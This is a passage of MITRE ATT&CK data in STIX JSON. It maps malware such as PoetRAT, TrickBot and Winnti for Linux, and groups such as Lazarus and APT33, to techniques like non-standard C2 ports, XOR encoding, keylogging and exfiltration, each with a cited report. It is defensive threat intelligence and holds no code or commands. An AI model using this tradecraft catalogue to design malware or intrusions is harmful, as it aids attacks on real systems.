            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "US-CERT HARDRAIN March 2018",
                    "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"
                }
            ],
            "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) binds and listens on port 443 with a FakeTLS method.(Citation: US-CERT HARDRAIN March 2018)",
            "relationship_type": "uses",
            "id": "relationship--53e123a8-0794-4bec-b71b-3c4b4a94057f",
            "type": "relationship",
            "modified": "2020-03-30T19:45:04.381Z",
            "created": "2020-03-30T19:45:04.381Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "US-CERT HOPLIGHT Apr 2019",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A",
                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019."
                }
            ],
            "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has connected outbound over TCP port 443 with a FakeTLS method.(Citation: US-CERT HOPLIGHT Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--36983a10-4fdb-4bfc-83a0-78f4d11e83df",
            "type": "relationship",
            "modified": "2020-03-30T19:47:22.076Z",
            "created": "2020-03-30T19:47:22.076Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster RATs",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"
                }
            ],
            "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, creating port-protocol mismatches.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
            "relationship_type": "uses",
            "id": "relationship--800f3241-62f4-4eb4-b9a2-df62f67d27d6",
            "type": "relationship",
            "modified": "2020-03-30T19:55:05.955Z",
            "created": "2020-03-30T19:55:05.954Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.(Citation: Palo Alto MoonWind March 2017)",
            "relationship_type": "uses",
            "id": "relationship--3ffac9f5-9a5e-41dd-aa7d-c981842015d7",
            "type": "relationship",
            "modified": "2020-03-30T19:57:17.591Z",
            "created": "2020-03-30T19:57:17.591Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used port-protocol mismatches on ports such as 443, 4444, 8531, and 50501 during C2.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--76ff48d5-a341-431b-8653-1b1ad93ae435",
            "type": "relationship",
            "modified": "2020-03-30T20:03:17.541Z",
            "created": "2020-03-30T20:03:17.541Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
            "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118",
            "relationship_type": "revoked-by",
            "id": "relationship--5bda6db3-c05b-4733-8935-a11dfc30c64d",
            "type": "relationship",
            "modified": "2020-03-30T20:17:22.228Z",
            "created": "2020-03-30T20:17:22.228Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "source_name": "US-CERT TYPEFRAME June 2018"
                }
            ],
            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) has used ports 443, 8080, and 8443 with a FakeTLS method.(Citation: US-CERT TYPEFRAME June 2018)",
            "relationship_type": "uses",
            "id": "relationship--d21527b8-a8c8-4c95-9061-21c49155232e",
            "type": "relationship",
            "modified": "2020-03-30T20:18:09.529Z",
            "created": "2020-03-30T20:18:09.529Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "ESET OceanLotus Mar 2019",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019."
                }
            ],
            "description": "An [APT32](https://attack.mitre.org/groups/G0050) backdoor can use HTTP over a non-standard TCP port (e.g 14146) which is specified in the backdoor configuration.(Citation: ESET OceanLotus Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--4050ee68-3f26-49e6-beec-e2a62133a1c3",
            "type": "relationship",
            "modified": "2020-03-30T20:26:08.736Z",
            "created": "2020-03-30T20:26:08.736Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used HTTP over TCP ports 808 and 880 for command and control.(Citation: Symantec Elfin Mar 2019)",
            "relationship_type": "uses",
            "id": "relationship--e6b9c4c1-3b84-4957-8533-f96a92dcab2a",
            "type": "relationship",
            "modified": "2020-03-30T20:36:41.205Z",
            "created": "2020-03-30T20:36:41.205Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "source_name": "US-CERT Bankshot Dec 2017"
                }
            ],
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) binds and listens on port 1058 for HTTP traffic while also utilizing a FakeTLS method.(Citation: US-CERT Bankshot Dec 2017)",
            "relationship_type": "uses",
            "id": "relationship--e9b71895-a9d2-4023-930b-4204f6c2d325",
            "type": "relationship",
            "modified": "2020-03-30T20:41:17.349Z",
            "created": "2020-03-30T20:41:17.349Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) has used HTTP over a non-standard port, such as TCP port 46769.(Citation: Talos GravityRAT)",
            "relationship_type": "uses",
            "id": "relationship--e61e5dc3-b6ac-4909-b188-eaede02385df",
            "type": "relationship",
            "modified": "2020-03-30T20:44:34.666Z",
            "created": "2020-03-30T20:44:34.666Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has communicated with its C2 server over TCP port 4443 using HTTP.(Citation: Unit 42 Magic Hound Feb 2017)",
            "relationship_type": "uses",
            "id": "relationship--b35cd29e-1439-4f7a-a81e-44d4db29cd8b",
            "type": "relationship",
            "modified": "2020-03-30T20:57:01.211Z",
            "created": "2020-03-30T20:57:01.211Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                }
            ],
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can use HTTP over non-standard ports, such as 995, for C2.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "relationship_type": "uses",
            "id": "relationship--ec55cdc1-8ca2-42c9-a1d9-9755d24bc294",
            "type": "relationship",
            "modified": "2020-03-30T21:01:05.636Z",
            "created": "2020-03-30T21:01:05.636Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "source_name": "Fidelis TrickBot Oct 2016",
                    "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.",
                    "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"
                },
                {
                    "source_name": "Trend Micro Totbrick Oct 2016",
                    "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"
                }
            ],
            "description": "Some [TrickBot](https://attack.mitre.org/software/S0266) samples have used HTTP over ports 447 and 8082 for C2.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: Trend Micro Totbrick Oct 2016)",
            "relationship_type": "uses",
            "id": "relationship--b75e158b-3c2e-425d-a14e-84a974d86c8c",
            "type": "relationship",
            "modified": "2020-03-30T21:08:00.433Z",
            "created": "2020-03-30T21:08:00.433Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90",
            "relationship_type": "mitigates",
            "description": "Routinely monitor user permissions to ensure only the expected users have the capability to modify cloud compute infrastructure components.",
            "id": "relationship--91c4630e-772b-4dac-8e58-5a899ccdc2be",
            "type": "relationship",
            "modified": "2021-04-20T14:51:02.177Z",
            "created": "2020-04-27T14:14:05.600Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used [FTP](https://attack.mitre.org/software/S0095) for exfiltration.(Citation: Talos PoetRAT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--613ba18d-d23b-443a-9e1a-c2d564132fe2",
            "type": "relationship",
            "modified": "2020-04-27T21:02:32.990Z",
            "created": "2020-04-27T20:40:03.104Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used spearphishing attachments to infect victims.(Citation: Talos PoetRAT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--20118b8d-dc6e-4c71-8d99-789901c10e73",
            "type": "relationship",
            "modified": "2020-04-29T16:00:35.642Z",
            "created": "2020-04-27T20:40:03.132Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                },
                {
                    "source_name": "Talos PoetRAT October 2020",
                    "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html",
                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used Word documents with VBScripts to execute malicious activities.(Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--b078c987-40be-459f-9045-4b2b92cc145b",
            "type": "relationship",
            "modified": "2021-04-12T12:44:34.345Z",
            "created": "2020-04-27T21:02:32.971Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used a Python tool named Browdec.exe to steal browser credentials.(Citation: Talos PoetRAT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--f3927864-d7dd-4bf3-8b2a-2a5445eb4004",
            "type": "relationship",
            "modified": "2020-04-28T12:47:25.822Z",
            "created": "2020-04-28T12:47:25.822Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used a Python tool named klog.exe for keylogging.(Citation: Talos PoetRAT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--fac88cac-2935-4c68-af9f-c16fb93d6eac",
            "type": "relationship",
            "modified": "2020-04-28T12:47:25.828Z",
            "created": "2020-04-28T12:47:25.827Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used a Python tool named Bewmac to record the webcam on compromised hosts.(Citation: Talos PoetRAT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--52ad9918-ffba-4897-bbdc-261504094339",
            "type": "relationship",
            "modified": "2020-04-28T12:47:25.847Z",
            "created": "2020-04-28T12:47:25.847Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has used a .NET tool named dog.exe to exiltrate information over an e-mail account.(Citation: Talos PoetRAT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--1b29f7b8-78fe-4bae-b943-59641a12a023",
            "type": "relationship",
            "modified": "2020-04-28T14:37:51.325Z",
            "created": "2020-04-28T12:47:25.851Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                },
                {
                    "source_name": "Dragos Threat Report 2020",
                    "url": "https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770",
                    "description": "Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to take screen captures.(Citation: Talos PoetRAT April 2020)(Citation: Dragos Threat Report 2020)",
            "relationship_type": "uses",
            "id": "relationship--d9338b91-b07b-4ea1-9e2f-4fe06e58ce62",
            "type": "relationship",
            "modified": "2021-04-12T12:44:34.322Z",
            "created": "2020-04-28T12:47:25.887Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has added a registry key in the <RUN> hive for persistence.(Citation: Talos PoetRAT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--e7f60c3a-5b9e-4175-8bac-72773f580dad",
            "type": "relationship",
            "modified": "2020-04-28T12:47:25.920Z",
            "created": "2020-04-28T12:47:25.920Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                },
                {
                    "source_name": "Talos PoetRAT October 2020",
                    "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html",
                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to copy files and download/upload files into C2 channels using FTP and HTTPS.(Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--3337112a-0b29-450f-9183-a0ec428c4898",
            "type": "relationship",
            "modified": "2021-04-12T12:44:34.347Z",
            "created": "2020-04-28T12:47:25.938Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) used file system monitoring to track modification and enable automatic exfiltration.(Citation: Talos PoetRAT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--47aebf09-4bee-4639-94e3-27b095d7558a",
            "type": "relationship",
            "modified": "2020-04-29T19:30:54.527Z",
            "created": "2020-04-28T12:47:25.929Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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                    "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."
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                    "url": "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b",
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            ],
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            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) encrypts C2 traffic with a double XOR using two distinct single-byte keys.(Citation: Fidelis Hi-Zor)",
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            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) used Nmap for remote system discovery.(Citation: Talos PoetRAT April 2020)",
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                {
                    "source_name": "Chronicle Winnti for Linux May 2019",
                    "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a",
                    "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."
                }
            ],
            "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) can encode its configuration file with single-byte XOR encoding.(Citation: Chronicle Winnti for Linux May 2019)",
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            "id": "relationship--7dfa8cdd-102c-4ea6-9fe0-d2e76b688221",
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                }
            ],
            "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has decoded XOR encoded strings holding its configuration upon execution.(Citation: Chronicle Winnti for Linux May 2019)",
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                    "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a",
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                }
            ],
            "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has the ability to deploy modules directly from command and control (C2) servers, possibly for remote command execution, file exfiltration, and socks5 proxying on the infected host. (Citation: Chronicle Winnti for Linux May 2019)",
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                    "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."
                }
            ],
            "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has used a modified copy of the open-source userland rootkit Azazel, named libxselinux.so, to hide the malware's operations and network activity.(Citation: Chronicle Winnti for Linux May 2019)",
            "relationship_type": "uses",
            "id": "relationship--c85d86c0-8adc-42fc-b7c9-8ca33d9ac4b6",
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                    "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a",
                    "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."
                }
            ],
            "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has used ICMP, custom TCP, and UDP in outbound communications.(Citation: Chronicle Winnti for Linux May 2019)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Chronicle Winnti for Linux May 2019",
